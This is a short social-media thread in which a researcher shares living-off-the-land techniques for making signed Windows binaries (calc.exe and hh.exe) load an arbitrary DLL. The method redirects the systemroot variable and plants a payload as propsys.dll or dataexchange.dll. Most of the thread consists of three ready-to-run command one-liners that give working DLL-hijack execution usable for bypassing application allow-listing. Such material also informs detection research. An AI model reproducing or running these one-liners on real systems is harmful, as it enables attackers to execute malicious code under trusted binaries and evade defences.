Thread by @falsneg

#lolbin #lolbas (again cuz i messed up the oneliner on the previous attempt) load a DLL of your choice with calc.exe. Oneliner: mkdir C:\x\system32&set systemroot=C:\x&copy /y payload.dll %systemroot%\system32\propsys.dll&C:\Windows\System32\calc.exe

hh would do so too. but for hh an argument has to be provided (as you can see in the screenshot it didn't try loading anything on the first run w/o the help switch); mkdir C:\x\system32&set systemroot=C:\x&copy /y payload.dll %systemroot%\system32\propsys.dll&C:\windows\hh.exe /?

but there's this annoying ui that loads on a different thread than our msgbox; seems like dataexchange.dll is supposed to load earlier, so this is w/o ui: mkdir C:\x\system32&set systemroot=C:\x&copy /y payload.dll %systemroot%\system32\dataexchange.dll&C:\windows\hh.exe /?